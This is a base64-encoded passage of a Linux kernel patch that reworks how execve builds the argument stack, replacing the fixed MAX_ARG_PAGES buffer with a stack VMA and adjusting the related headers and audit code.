IGZvciBFWFNUQUNLX0VOQUJMRV9YLCBkaXNhYmxlIGZvciBFWFNUQUNLX0RJU0FCTEVfWAogCQkg
KiBhbmQgbGVhdmUgYWxvbmUgKGFyY2ggZGVmYXVsdCkgb3RoZXJ3aXNlLiAqLwogCQlpZiAodW5s
aWtlbHkoZXhlY3V0YWJsZV9zdGFjayA9PSBFWFNUQUNLX0VOQUJMRV9YKSkKLQkJCW1wbnQtPnZt
X2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgfCAgVk1fRVhFQzsKKwkJCXZtX2ZsYWdzIHw9IFZNX0VY
RUM7CiAJCWVsc2UgaWYgKGV4ZWN1dGFibGVfc3RhY2sgPT0gRVhTVEFDS19ESVNBQkxFX1gpCi0J
CQltcG50LT52bV9mbGFncyA9IFZNX1NUQUNLX0ZMQUdTICYgflZNX0VYRUM7Ci0JCWVsc2UKLQkJ
CW1wbnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1M7Ci0JCW1wbnQtPnZtX2ZsYWdzIHw9IG1t
LT5kZWZfZmxhZ3M7Ci0JCW1wbnQtPnZtX3BhZ2VfcHJvdCA9IHByb3RlY3Rpb25fbWFwW21wbnQt
PnZtX2ZsYWdzICYgMHg3XTsKLQkJaWYgKChyZXQgPSBpbnNlcnRfdm1fc3RydWN0KG1tLCBtcG50
KSkpIHsKKwkJCXZtX2ZsYWdzICY9IH5WTV9FWEVDOworCQl2bV9mbGFncyB8PSBtbS0+ZGVmX2Zs
YWdzOworCisJCXJldCA9IG1wcm90ZWN0X2ZpeHVwKHZtYSwgJnByZXYsIHZtYS0+dm1fc3RhcnQs
IHZtYS0+dm1fZW5kLAorCQkJCXZtX2ZsYWdzKTsKKwkJaWYgKHJldCkgewogCQkJdXBfd3JpdGUo
Jm1tLT5tbWFwX3NlbSk7Ci0JCQlrbWVtX2NhY2hlX2ZyZWUodm1fYXJlYV9jYWNoZXAsIG1wbnQp
OwogCQkJcmV0dXJuIHJldDsKIAkJfQotCQltbS0+c3RhY2tfdm0gPSBtbS0+dG90YWxfdm0gPSB2
bWFfcGFnZXMobXBudCk7Ci0JfQorCQlCVUdfT04ocHJldiAhPSB2bWEpOworCisJCS8qIE1vdmUg
c3RhY2sgcGFnZXMgZG93biBpbiBtZW1vcnkuICovCisJCWlmIChzdGFja19zaGlmdCkgeworCQkJ
cmV0ID0gc2hpZnRfYXJnX3BhZ2VzKHZtYSwgc3RhY2tfc2hpZnQpOworCQkJaWYgKHJldCkgewor
CQkJCXVwX3dyaXRlKCZtbS0+bW1hcF9zZW0pOworCQkJCXJldHVybiByZXQ7CisJCQl9CisJCX0K
IAotCWZvciAoaSA9IDAgOyBpIDwgTUFYX0FSR19QQUdFUyA7IGkrKykgewotCQlzdHJ1Y3QgcGFn
ZSAqcGFnZSA9IGJwcm0tPnBhZ2VbaV07Ci0JCWlmIChwYWdlKSB7Ci0JCQlicHJtLT5wYWdlW2ld
ID0gTlVMTDsKLQkJCWluc3RhbGxfYXJnX3BhZ2UobXBudCwgcGFnZSwgc3RhY2tfYmFzZSk7Cisj
aWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKKwkJaWYgKGV4cGFuZF9zdGFjayh2bWEsIHZtYS0+
dm1fZW5kICsKKwkJCQkJRVhUUkFfU1RBQ0tfVk1fUEFHRVMgKiBQQUdFX1NJWkUpKSB7CisJCQl1
cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKKwkJCXJldHVybiAtRUZBVUxUOworCQl9CisjZWxzZQor
CQlpZiAoZXhwYW5kX3N0YWNrKHZtYSwgc3RhY2tfYmFzZSAtCisJCQkJCUVYVFJBX1NUQUNLX1ZN
X1BBR0VTICogUEFHRV9TSVpFKSkgeworCQkJdXBfd3JpdGUoJm1tLT5tbWFwX3NlbSk7CisJCQly
ZXR1cm4gLUVGQVVMVDsKIAkJfQotCQlzdGFja19iYXNlICs9IFBBR0VfU0laRTsKKyNlbmRpZgog
CX0KIAl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKIAkKQEAgLTQ1MywyMSArNjEzLDYgQEAgaW50
IHNldHVwX2FyZ19wYWdlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLAogCiBFWFBPUlRfU1lN
Qk9MKHNldHVwX2FyZ19wYWdlcyk7CiAKLSNkZWZpbmUgZnJlZV9hcmdfcGFnZXMoYnBybSkgZG8g
eyB9IHdoaWxlICgwKQotCi0jZWxzZQotCi1zdGF0aWMgaW5saW5lIHZvaWQgZnJlZV9hcmdfcGFn
ZXMoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKLXsKLQlpbnQgaTsKLQotCWZvciAoaSA9IDA7
IGkgPCBNQVhfQVJHX1BBR0VTOyBpKyspIHsKLQkJaWYgKGJwcm0tPnBhZ2VbaV0pCi0JCQlfX2Zy
ZWVfcGFnZShicHJtLT5wYWdlW2ldKTsKLQkJYnBybS0+cGFnZVtpXSA9IE5VTEw7Ci0JfQotfQot
CiAjZW5kaWYgLyogQ09ORklHX01NVSAqLwogCiBzdHJ1Y3QgZmlsZSAqb3Blbl9leGVjKGNvbnN0
IGNoYXIgKm5hbWUpCkBAIC05ODUsMjggKzExMzAsNDcgQEAgdm9pZCBjb21wdXRlX2NyZWRzKHN0
cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pCiAKIEVYUE9SVF9TWU1CT0woY29tcHV0ZV9jcmVkcyk7
CiAKLXZvaWQgcmVtb3ZlX2FyZ196ZXJvKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pCisvKgor
ICogQXJndW1lbnRzIGFyZSAnXDAnIHNlcGFyYXRlZCBzdHJpbmdzIGZvdW5kIGF0IHRoZSBsb2Nh
dGlvbiBicHJtLT5wCisgKiBwb2ludHMgdG87IGNob3Agb2ZmIHRoZSBmaXJzdCBieSByZWxvY2F0
aW5nIGJycG0tPnAgdG8gcmlnaHQgYWZ0ZXIKKyAqIHRoZSBmaXJzdCAnXDAnIGVuY291bnRlcmVk
LgorICovCitpbnQgcmVtb3ZlX2FyZ196ZXJvKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0pCiB7
Ci0JaWYgKGJwcm0tPmFyZ2MpIHsKLQkJdW5zaWduZWQgbG9uZyBvZmZzZXQ7Ci0JCWNoYXIgKiBr
YWRkcjsKLQkJc3RydWN0IHBhZ2UgKnBhZ2U7CisJaW50IHJldCA9IDA7CisJdW5zaWduZWQgbG9u
ZyBvZmZzZXQ7CisJY2hhciAqa2FkZHI7CisJc3RydWN0IHBhZ2UgKnBhZ2U7CiAKLQkJb2Zmc2V0
ID0gYnBybS0+cCAlIFBBR0VfU0laRTsKLQkJZ290byBpbnNpZGU7CisJaWYgKCFicHJtLT5hcmdj
KQorCQlyZXR1cm4gMDsKIAotCQl3aGlsZSAoYnBybS0+cCsrLCAqKGthZGRyK29mZnNldCsrKSkg
ewotCQkJaWYgKG9mZnNldCAhPSBQQUdFX1NJWkUpCi0JCQkJY29udGludWU7Ci0JCQlvZmZzZXQg
PSAwOwotCQkJa3VubWFwX2F0b21pYyhrYWRkciwgS01fVVNFUjApOwotaW5zaWRlOgotCQkJcGFn
ZSA9IGJwcm0tPnBhZ2VbYnBybS0+cC9QQUdFX1NJWkVdOwotCQkJa2FkZHIgPSBrbWFwX2F0b21p
YyhwYWdlLCBLTV9VU0VSMCk7CisJZG8geworCQlvZmZzZXQgPSBicHJtLT5wICYgflBBR0VfTUFT
SzsKKwkJcGFnZSA9IGdldF9hcmdfcGFnZShicHJtLCBicHJtLT5wLCAwKTsKKwkJaWYgKCFwYWdl
KSB7CisJCQlyZXQgPSAtRUZBVUxUOworCQkJZ290byBvdXQ7CiAJCX0KKwkJa2FkZHIgPSBrbWFw
X2F0b21pYyhwYWdlLCBLTV9VU0VSMCk7CisKKwkJZm9yICg7IG9mZnNldCA8IFBBR0VfU0laRSAm
JiBrYWRkcltvZmZzZXRdOworCQkJCW9mZnNldCsrLCBicHJtLT5wKyspCisJCQk7CisKIAkJa3Vu
bWFwX2F0b21pYyhrYWRkciwgS01fVVNFUjApOwotCQlicHJtLT5hcmdjLS07Ci0JfQorCQlwdXRf
YXJnX3BhZ2UocGFnZSk7CisKKwkJaWYgKG9mZnNldCA9PSBQQUdFX1NJWkUpCisJCQlmcmVlX2Fy
Z19wYWdlKGJwcm0sIChicHJtLT5wID4+IFBBR0VfU0hJRlQpIC0gMSk7CisJfSB3aGlsZSAob2Zm
c2V0ID09IFBBR0VfU0laRSk7CisKKwlicHJtLT5wKys7CisJYnBybS0+YXJnYy0tOworCXJldCA9
IDA7CisKK291dDoKKwlyZXR1cm4gcmV0OwogfQogCiBFWFBPUlRfU1lNQk9MKHJlbW92ZV9hcmdf
emVybyk7CkBAIC0xMDMzLDcgKzExOTcsNyBAQCBpbnQgc2VhcmNoX2JpbmFyeV9oYW5kbGVyKHN0
cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiAJCWZwdXQoYnBy
bS0+ZmlsZSk7CiAJCWJwcm0tPmZpbGUgPSBOVUxMOwogCi0JICAgICAgICBsb2FkZXIgPSBQQUdF
X1NJWkUqTUFYX0FSR19QQUdFUy1zaXplb2Yodm9pZCAqKTsKKwkgICAgICAgIGxvYWRlciA9IGJw
cm0tPnZtYS0+dm1fZW5kIC0gc2l6ZW9mKHZvaWQgKik7CiAKIAkJZmlsZSA9IG9wZW5fZXhlYygi
L3NiaW4vbG9hZGVyIik7CiAJCXJldHZhbCA9IFBUUl9FUlIoZmlsZSk7CkBAIC0xMTI1LDggKzEy
ODksOCBAQCBpbnQgZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIHsKIAlzdHJ1Y3QgbGludXhf
YmlucHJtICpicHJtOwogCXN0cnVjdCBmaWxlICpmaWxlOworCXVuc2lnbmVkIGxvbmcgdG1wOwog
CWludCByZXR2YWw7Ci0JaW50IGk7CiAKIAlyZXR2YWwgPSAtRU5PTUVNOwogCWJwcm0gPSBremFs
bG9jKHNpemVvZigqYnBybSksIEdGUF9LRVJORUwpOwpAQCAtMTE0MCwyNSArMTMwNCwxOSBAQCBp
bnQgZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAogCXNjaGVkX2V4ZWMoKTsKIAotCWJwcm0t
PnAgPSBQQUdFX1NJWkUqTUFYX0FSR19QQUdFUy1zaXplb2Yodm9pZCAqKTsKLQogCWJwcm0tPmZp
bGUgPSBmaWxlOwogCWJwcm0tPmZpbGVuYW1lID0gZmlsZW5hbWU7CiAJYnBybS0+aW50ZXJwID0g
ZmlsZW5hbWU7Ci0JYnBybS0+bW0gPSBtbV9hbGxvYygpOwotCXJldHZhbCA9IC1FTk9NRU07Ci0J
aWYgKCFicHJtLT5tbSkKLQkJZ290byBvdXRfZmlsZTsKIAotCXJldHZhbCA9IGluaXRfbmV3X2Nv
bnRleHQoY3VycmVudCwgYnBybS0+bW0pOwotCWlmIChyZXR2YWwgPCAwKQotCQlnb3RvIG91dF9t
bTsKKwlyZXR2YWwgPSBicHJtX21tX2luaXQoYnBybSk7CisJaWYgKHJldHZhbCkKKwkJZ290byBv
dXRfZmlsZTsKIAotCWJwcm0tPmFyZ2MgPSBjb3VudChhcmd2LCBicHJtLT5wIC8gc2l6ZW9mKHZv
aWQgKikpOworCWJwcm0tPmFyZ2MgPSBjb3VudChhcmd2LCBNQVhfQVJHX1NUUklOR1MpOwogCWlm
ICgocmV0dmFsID0gYnBybS0+YXJnYykgPCAwKQogCQlnb3RvIG91dF9tbTsKIAotCWJwcm0tPmVu
dmMgPSBjb3VudChlbnZwLCBicHJtLT5wIC8gc2l6ZW9mKHZvaWQgKikpOworCWJwcm0tPmVudmMg
PSBjb3VudChlbnZwLCBNQVhfQVJHX1NUUklOR1MpOwogCWlmICgocmV0dmFsID0gYnBybS0+ZW52
YykgPCAwKQogCQlnb3RvIG91dF9tbTsKIApAQCAtMTE3OSwxNSArMTMzNywxNiBAQCBpbnQgZG9f
ZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAlpZiAocmV0dmFsIDwgMCkKIAkJZ290byBvdXQ7CiAK
Kwl0bXAgPSBicHJtLT5wOwogCXJldHZhbCA9IGNvcHlfc3RyaW5ncyhicHJtLT5hcmdjLCBhcmd2
LCBicHJtKTsKIAlpZiAocmV0dmFsIDwgMCkKIAkJZ290byBvdXQ7CisJYnBybS0+YXJndl9sZW4g
PSB0bXAgLSBicHJtLT5wOwogCiAJcmV0dmFsID0gc2VhcmNoX2JpbmFyeV9oYW5kbGVyKGJwcm0s
cmVncyk7CiAJaWYgKHJldHZhbCA+PSAwKSB7Ci0JCWZyZWVfYXJnX3BhZ2VzKGJwcm0pOwotCiAJ
CS8qIGV4ZWN2ZSBzdWNjZXNzICovCisJCWZyZWVfYXJnX3BhZ2VzKGJwcm0pOwogCQlzZWN1cml0
eV9icHJtX2ZyZWUoYnBybSk7CiAJCWFjY3RfdXBkYXRlX2ludGVncmFscyhjdXJyZW50KTsKIAkJ
a2ZyZWUoYnBybSk7CkBAIC0xMTk1LDI2ICsxMzU0LDE5IEBAIGludCBkb19leGVjdmUoY2hhciAq
IGZpbGVuYW1lLAogCX0KIAogb3V0OgotCS8qIFNvbWV0aGluZyB3ZW50IHdyb25nLCByZXR1cm4g
dGhlIGlub2RlIGFuZCBmcmVlIHRoZSBhcmd1bWVudCBwYWdlcyovCi0JZm9yIChpID0gMCA7IGkg
PCBNQVhfQVJHX1BBR0VTIDsgaSsrKSB7Ci0JCXN0cnVjdCBwYWdlICogcGFnZSA9IGJwcm0tPnBh
Z2VbaV07Ci0JCWlmIChwYWdlKQotCQkJX19mcmVlX3BhZ2UocGFnZSk7Ci0JfQotCisJZnJlZV9h
cmdfcGFnZXMoYnBybSk7CiAJaWYgKGJwcm0tPnNlY3VyaXR5KQogCQlzZWN1cml0eV9icHJtX2Zy
ZWUoYnBybSk7CiAKIG91dF9tbToKIAlpZiAoYnBybS0+bW0pCi0JCW1tZHJvcChicHJtLT5tbSk7
CisJCW1tcHV0IChicHJtLT5tbSk7CiAKIG91dF9maWxlOgogCWlmIChicHJtLT5maWxlKSB7CiAJ
CWFsbG93X3dyaXRlX2FjY2VzcyhicHJtLT5maWxlKTsKIAkJZnB1dChicHJtLT5maWxlKTsKIAl9
Ci0KIG91dF9rZnJlZToKIAlrZnJlZShicHJtKTsKIApkaWZmIC0tZ2l0IGEvaW5jbHVkZS9hc20t
dW0vcHJvY2Vzc29yLWkzODYuaCBiL2luY2x1ZGUvYXNtLXVtL3Byb2Nlc3Nvci1pMzg2LmgKaW5k
ZXggNTk1ZjFjMy4uODY5YzIzNiAxMDA2NDQKLS0tIGEvaW5jbHVkZS9hc20tdW0vcHJvY2Vzc29y
LWkzODYuaAorKysgYi9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3ItaTM4Ni5oCkBAIC02Nyw5ICs2
Nyw2IEBAIHN0YXRpYyBpbmxpbmUgdm9pZCByZXBfbm9wKHZvaWQpCiAjZGVmaW5lIGN1cnJlbnRf
dGV4dF9hZGRyKCkgXAogCSh7IHZvaWQgKnBjOyBfX2FzbV9fKCJtb3ZsICQxZiwlMFxuMToiOiI9
ZyIgKHBjKSk7IHBjOyB9KQogCi0jZGVmaW5lIEFSQ0hfSVNfU1RBQ0tHUk9XKGFkZHJlc3MpIFwK
LSAgICAgICAoYWRkcmVzcyArIDMyID49IFVQVF9TUCgmY3VycmVudC0+dGhyZWFkLnJlZ3MucmVn
cykpCi0KICNkZWZpbmUgS1NUS19FSVAodHNrKSBLU1RLX1JFRyh0c2ssIEVJUCkKICNkZWZpbmUg
S1NUS19FU1AodHNrKSBLU1RLX1JFRyh0c2ssIFVFU1ApCiAjZGVmaW5lIEtTVEtfRUJQKHRzaykg
S1NUS19SRUcodHNrLCBFQlApCmRpZmYgLS1naXQgYS9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3It
eDg2XzY0LmggYi9pbmNsdWRlL2FzbS11bS9wcm9jZXNzb3IteDg2XzY0LmgKaW5kZXggMzFjMmQ0
ZC4uNjRkN2JkZCAxMDA2NDQKLS0tIGEvaW5jbHVkZS9hc20tdW0vcHJvY2Vzc29yLXg4Nl82NC5o
CisrKyBiL2luY2x1ZGUvYXNtLXVtL3Byb2Nlc3Nvci14ODZfNjQuaApAQCAtNDQsOSArNDQsNiBA
QCBzdGF0aWMgaW5saW5lIHZvaWQgYXJjaF9jb3B5X3RocmVhZChzdHJ1Y3QgYXJjaF90aHJlYWQg
KmZyb20sCiAjZGVmaW5lIGN1cnJlbnRfdGV4dF9hZGRyKCkgXAogCSh7IHZvaWQgKnBjOyBfX2Fz
bV9fKCJtb3ZxICQxZiwlMFxuMToiOiI9ZyIgKHBjKSk7IHBjOyB9KQogCi0jZGVmaW5lIEFSQ0hf
SVNfU1RBQ0tHUk9XKGFkZHJlc3MpIFwKLSAgICAgICAgKGFkZHJlc3MgKyAxMjggPj0gVVBUX1NQ
KCZjdXJyZW50LT50aHJlYWQucmVncy5yZWdzKSkKLQogI2RlZmluZSBLU1RLX0VJUCh0c2spIEtT
VEtfUkVHKHRzaywgUklQKQogI2RlZmluZSBLU1RLX0VTUCh0c2spIEtTVEtfUkVHKHRzaywgUlNQ
KQogCmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L2JpbmZtdHMuaCBiL2luY2x1ZGUvbGludXgv
YmluZm10cy5oCmluZGV4IDJkOTU2Y2QuLjhhYzIyNzcgMTAwNjQ0Ci0tLSBhL2luY2x1ZGUvbGlu
dXgvYmluZm10cy5oCisrKyBiL2luY2x1ZGUvbGludXgvYmluZm10cy5oCkBAIC01LDEyICs1LDkg
QEAKIAogc3RydWN0IHB0X3JlZ3M7CiAKLS8qCi0gKiBNQVhfQVJHX1BBR0VTIGRlZmluZXMgdGhl
IG51bWJlciBvZiBwYWdlcyBhbGxvY2F0ZWQgZm9yIGFyZ3VtZW50cwotICogYW5kIGVudmVsb3Bl
IGZvciB0aGUgbmV3IHByb2dyYW0uIDMyIHNob3VsZCBzdWZmaWNlLCB0aGlzIGdpdmVzCi0gKiBh
IG1heGltdW0gZW52K2FyZyBvZiAxMjhrQiB3LzRLQiBwYWdlcyEKLSAqLwotI2RlZmluZSBNQVhf
QVJHX1BBR0VTIDMyCisvKiBGSVhNRTogRmluZCByZWFsIGxpbWl0cywgb3Igbm9uZS4gKi8KKyNk
ZWZpbmUgTUFYX0FSR19TVFJMRU4gKFBBR0VfU0laRSAqIDMyKQorI2RlZmluZSBNQVhfQVJHX1NU
UklOR1MgMHg3RkZGRkZGRgogCiAvKiBzaXplb2YobGludXhfYmlucHJtLT5idWYpICovCiAjZGVm
aW5lIEJJTlBSTV9CVUZfU0laRSAxMjgKQEAgLTIyLDcgKzE5LDEyIEBAIHN0cnVjdCBwdF9yZWdz
OwogICovCiBzdHJ1Y3QgbGludXhfYmlucHJtewogCWNoYXIgYnVmW0JJTlBSTV9CVUZfU0laRV07
CisjaWZkZWYgQ09ORklHX01NVQorCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hOworI2Vsc2UK
KyMgZGVmaW5lIE1BWF9BUkdfUEFHRVMJMzIKIAlzdHJ1Y3QgcGFnZSAqcGFnZVtNQVhfQVJHX1BB
R0VTXTsKKyNlbmRpZgogCXN0cnVjdCBtbV9zdHJ1Y3QgKm1tOwogCXVuc2lnbmVkIGxvbmcgcDsg
LyogY3VycmVudCB0b3Agb2YgbWVtICovCiAJaW50IHNoX2Jhbmc7CkBAIC0zOCw2ICs0MCw3IEBA
IHN0cnVjdCBsaW51eF9iaW5wcm17CiAJdW5zaWduZWQgaW50ZXJwX2ZsYWdzOwogCXVuc2lnbmVk
IGludGVycF9kYXRhOwogCXVuc2lnbmVkIGxvbmcgbG9hZGVyLCBleGVjOworCXVuc2lnbmVkIGxv
bmcgYXJndl9sZW47CiB9OwogCiAjZGVmaW5lIEJJTlBSTV9GTEFHU19FTkZPUkNFX05PTkRVTVBf
QklUIDAKQEAgLTY2LDcgKzY5LDcgQEAgZXh0ZXJuIGludCByZWdpc3Rlcl9iaW5mbXQoc3RydWN0
IGxpbnV4X2JpbmZtdCAqKTsKIGV4dGVybiBpbnQgdW5yZWdpc3Rlcl9iaW5mbXQoc3RydWN0IGxp
bnV4X2JpbmZtdCAqKTsKIAogZXh0ZXJuIGludCBwcmVwYXJlX2JpbnBybShzdHJ1Y3QgbGludXhf
YmlucHJtICopOwotZXh0ZXJuIHZvaWQgcmVtb3ZlX2FyZ196ZXJvKHN0cnVjdCBsaW51eF9iaW5w
cm0gKik7CitleHRlcm4gaW50IF9fbXVzdF9jaGVjayByZW1vdmVfYXJnX3plcm8oc3RydWN0IGxp
bnV4X2JpbnBybSAqKTsKIGV4dGVybiBpbnQgc2VhcmNoX2JpbmFyeV9oYW5kbGVyKHN0cnVjdCBs
aW51eF9iaW5wcm0gKixzdHJ1Y3QgcHRfcmVncyAqKTsKIGV4dGVybiBpbnQgZmx1c2hfb2xkX2V4
ZWMoc3RydWN0IGxpbnV4X2JpbnBybSAqIGJwcm0pOwogCkBAIC04Myw2ICs4Niw3IEBAIGV4dGVy
biBpbnQgc3VpZF9kdW1wYWJsZTsKIGV4dGVybiBpbnQgc2V0dXBfYXJnX3BhZ2VzKHN0cnVjdCBs
aW51eF9iaW5wcm0gKiBicHJtLAogCQkJICAgdW5zaWduZWQgbG9uZyBzdGFja190b3AsCiAJCQkg
ICBpbnQgZXhlY3V0YWJsZV9zdGFjayk7CitleHRlcm4gaW50IGJwcm1fbW1faW5pdChzdHJ1Y3Qg
bGludXhfYmlucHJtICpicHJtKTsKIGV4dGVybiBpbnQgY29weV9zdHJpbmdzX2tlcm5lbChpbnQg
YXJnYyxjaGFyICoqIGFyZ3Ysc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSk7CiBleHRlcm4gdm9p
ZCBjb21wdXRlX2NyZWRzKHN0cnVjdCBsaW51eF9iaW5wcm0gKmJpbnBybSk7CiBleHRlcm4gaW50
IGRvX2NvcmVkdW1wKGxvbmcgc2lnbnIsIGludCBleGl0X2NvZGUsIHN0cnVjdCBwdF9yZWdzICog
cmVncyk7CmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L21tLmggYi9pbmNsdWRlL2xpbnV4L21t
LmgKaW5kZXggNjBlMGU0YS4uY2VlZTA2MiAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9tbS5o
CisrKyBiL2luY2x1ZGUvbGludXgvbW0uaApAQCAtNzcxLDcgKzc3MSw2IEBAIHN0YXRpYyBpbmxp
bmUgaW50IGhhbmRsZV9tbV9mYXVsdChzdHJ1Y3QgbW1fc3RydWN0ICptbSwKIAogZXh0ZXJuIGlu
dCBtYWtlX3BhZ2VzX3ByZXNlbnQodW5zaWduZWQgbG9uZyBhZGRyLCB1bnNpZ25lZCBsb25nIGVu
ZCk7CiBleHRlcm4gaW50IGFjY2Vzc19wcm9jZXNzX3ZtKHN0cnVjdCB0YXNrX3N0cnVjdCAqdHNr
LCB1bnNpZ25lZCBsb25nIGFkZHIsIHZvaWQgKmJ1ZiwgaW50IGxlbiwgaW50IHdyaXRlKTsKLXZv
aWQgaW5zdGFsbF9hcmdfcGFnZShzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKiwgc3RydWN0IHBhZ2Ug
KiwgdW5zaWduZWQgbG9uZyk7CiAKIGludCBnZXRfdXNlcl9wYWdlcyhzdHJ1Y3QgdGFza19zdHJ1
Y3QgKnRzaywgc3RydWN0IG1tX3N0cnVjdCAqbW0sIHVuc2lnbmVkIGxvbmcgc3RhcnQsCiAJCWlu
dCBsZW4sIGludCB3cml0ZSwgaW50IGZvcmNlLCBzdHJ1Y3QgcGFnZSAqKnBhZ2VzLCBzdHJ1Y3Qg
dm1fYXJlYV9zdHJ1Y3QgKip2bWFzKTsKQEAgLTc4OCw5ICs3ODcsMTggQEAgaW50IEZBU1RDQUxM
KHNldF9wYWdlX2RpcnR5KHN0cnVjdCBwYWdlICpwYWdlKSk7CiBpbnQgc2V0X3BhZ2VfZGlydHlf
bG9jayhzdHJ1Y3QgcGFnZSAqcGFnZSk7CiBpbnQgY2xlYXJfcGFnZV9kaXJ0eV9mb3JfaW8oc3Ry
dWN0IHBhZ2UgKnBhZ2UpOwogCitleHRlcm4gdW5zaWduZWQgbG9uZyBtb3ZlX3BhZ2VfdGFibGVz
KHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAorCQl1bnNpZ25lZCBsb25nIG9sZF9hZGRyLCBz
dHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKm5ld192bWEsCisJCXVuc2lnbmVkIGxvbmcgbmV3X2FkZHIs
IHVuc2lnbmVkIGxvbmcgbGVuKTsKK2V4dGVybiB1bnNpZ25lZCBsb25nIG1vdmVfcGFnZV90YWJs
ZXNfdXAoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCisJCXVuc2lnbmVkIGxvbmcgb2xkX2Fk
ZHIsIHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqbmV3X3ZtYSwKKwkJdW5zaWduZWQgbG9uZyBuZXdf
YWRkciwgdW5zaWduZWQgbG9uZyBsZW4pOwogZXh0ZXJuIHVuc2lnbmVkIGxvbmcgZG9fbXJlbWFw
KHVuc2lnbmVkIGxvbmcgYWRkciwKIAkJCSAgICAgICB1bnNpZ25lZCBsb25nIG9sZF9sZW4sIHVu
c2lnbmVkIGxvbmcgbmV3X2xlbiwKIAkJCSAgICAgICB1bnNpZ25lZCBsb25nIGZsYWdzLCB1bnNp
Z25lZCBsb25nIG5ld19hZGRyKTsKK2V4dGVybiBpbnQgbXByb3RlY3RfZml4dXAoc3RydWN0IHZt
X2FyZWFfc3RydWN0ICp2bWEsCisJCQkgIHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqKnBwcmV2LCB1
bnNpZ25lZCBsb25nIHN0YXJ0LAorCQkJICB1bnNpZ25lZCBsb25nIGVuZCwgdW5zaWduZWQgbG9u
ZyBuZXdmbGFncyk7CiAKIC8qCiAgKiBQcm90b3R5cGUgdG8gYWRkIGEgc2hyaW5rZXIgY2FsbGJh
Y2sgZm9yIGFnZWFibGUgY2FjaGVzLgpAQCAtMTA5MSw2ICsxMDk5LDkgQEAgZXh0ZXJuIGludCBl
eHBhbmRfc3RhY2soc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRk
cmVzcyk7CiAjaWZkZWYgQ09ORklHX0lBNjQKIGV4dGVybiBpbnQgZXhwYW5kX3Vwd2FyZHMoc3Ry
dWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcyk7CiAjZW5kaWYK
KyNpZmRlZiBDT05GSUdfU1RBQ0tfR1JPV1NVUAorZXh0ZXJuIGludCBleHBhbmRfZG93bndhcmRz
KHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpOworI2Vu
ZGlmCiAKIC8qIExvb2sgdXAgdGhlIGZpcnN0IFZNQSB3aGljaCBzYXRpc2ZpZXMgIGFkZHIgPCB2
bV9lbmQsICBOVUxMIGlmIG5vbmUuICovCiBleHRlcm4gc3RydWN0IHZtX2FyZWFfc3RydWN0ICog
ZmluZF92bWEoc3RydWN0IG1tX3N0cnVjdCAqIG1tLCB1bnNpZ25lZCBsb25nIGFkZHIpOwpkaWZm
IC0tZ2l0IGEvaW5jbHVkZS9saW51eC9zeXNjdGwuaCBiL2luY2x1ZGUvbGludXgvc3lzY3RsLmgK
aW5kZXggNDdmMWM1My4uYjk3Y2ExMSAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9zeXNjdGwu
aAorKysgYi9pbmNsdWRlL2xpbnV4L3N5c2N0bC5oCkBAIC0xNjUsNiArMTY1LDcgQEAgZW51bQog
CUtFUk5fTUFYX0xPQ0tfREVQVEg9NzQsCiAJS0VSTl9OTUlfV0FUQ0hET0c9NzUsIC8qIGludDog
ZW5hYmxlL2Rpc2FibGUgbm1pIHdhdGNoZG9nICovCiAJS0VSTl9QQU5JQ19PTl9OTUk9NzYsIC8q
IGludDogd2hldGhlciB3ZSB3aWxsIHBhbmljIG9uIGFuIHVucmVjb3ZlcmVkICovCisJS0VSTl9B
VURJVF9BUkdWPTc3LCAvKiBpbnQ6IG1heCBzaXplIG9mIGFyZ3YgYXJyYXkgZm9yIGF1ZGl0IGxv
Z2dpbmcgKi8KIH07CiAKIApkaWZmIC0tZ2l0IGEva2VybmVsL2F1ZGl0LmMgYi9rZXJuZWwvYXVk
aXQuYwppbmRleCA0ZTlkMjA4Li45YjA4ZjU1IDEwMDY0NAotLS0gYS9rZXJuZWwvYXVkaXQuYwor
KysgYi9rZXJuZWwvYXVkaXQuYwpAQCAtMTcwLDYgKzE3MCwyMiBAQCB2b2lkIGF1ZGl0X3Bhbmlj
KGNvbnN0IGNoYXIgKm1lc3NhZ2UpCiAJfQogfQogCit2b2lkIGF1ZGl0X2tpbGwoY29uc3QgY2hh
ciAqbWVzc2FnZSkKK3sKKwlzd2l0Y2ggKGF1ZGl0X2ZhaWx1cmUpCisJeworCWNhc2UgQVVESVRf
RkFJTF9TSUxFTlQ6CisJCWJyZWFrOworCWNhc2UgQVVESVRfRkFJTF9QUklOVEs6CisJCXByaW50
ayhLRVJOX0VSUiAiYXVkaXQ6ICVzXG4iLCBtZXNzYWdlKTsKKwkJYnJlYWs7CisJY2FzZSBBVURJ
